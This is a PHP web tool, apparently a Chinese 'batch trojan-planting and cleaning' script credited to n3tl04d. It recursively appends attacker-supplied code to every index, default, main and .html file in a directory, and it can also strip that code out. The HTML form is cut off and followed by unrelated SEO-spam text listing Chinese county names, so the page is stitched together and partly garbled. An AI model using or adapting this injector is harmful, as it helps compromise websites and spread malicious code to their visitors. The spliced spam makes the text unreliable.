|
<?php
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已掛馬文件:$file/n<br>”;
}
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”, “rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”, “wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清馬文件:$file/n<br>”;
}
}
}
$d->close();
echo ” “;
}
if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
<title>批量掛馬(清馬)程序php版</title><body>
<form action=”<?$php_SELF?>?action=gm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>網(wǎng)站批量掛馬程序php版
BY n3tl04d</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路徑:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相對路徑)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>掛馬關(guān)鍵字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index/.|default/.|main/.|/.html'>― 主站蜘蛛池模板: 鲜城| 离岛区| 缙云县| 陵川县| 青浦区| 德江县| 青浦区| 北票市| 资兴市| 昌都县| 海口市| 文昌市| 翼城县| 敦化市| 枞阳县| 托里县| 平利县| 汶上县| 南京市| 邹城市| 凌海市| 河池市| 漾濞| 三河市| 中山市| 城口县| 林周县| 澎湖县| 彰武县| 会东县| 娄底市| 新昌县| 新疆| 阿拉善右旗| 乌鲁木齐县| 于田县| 南岸区| 综艺| 田阳县| 布拖县| 阜南县|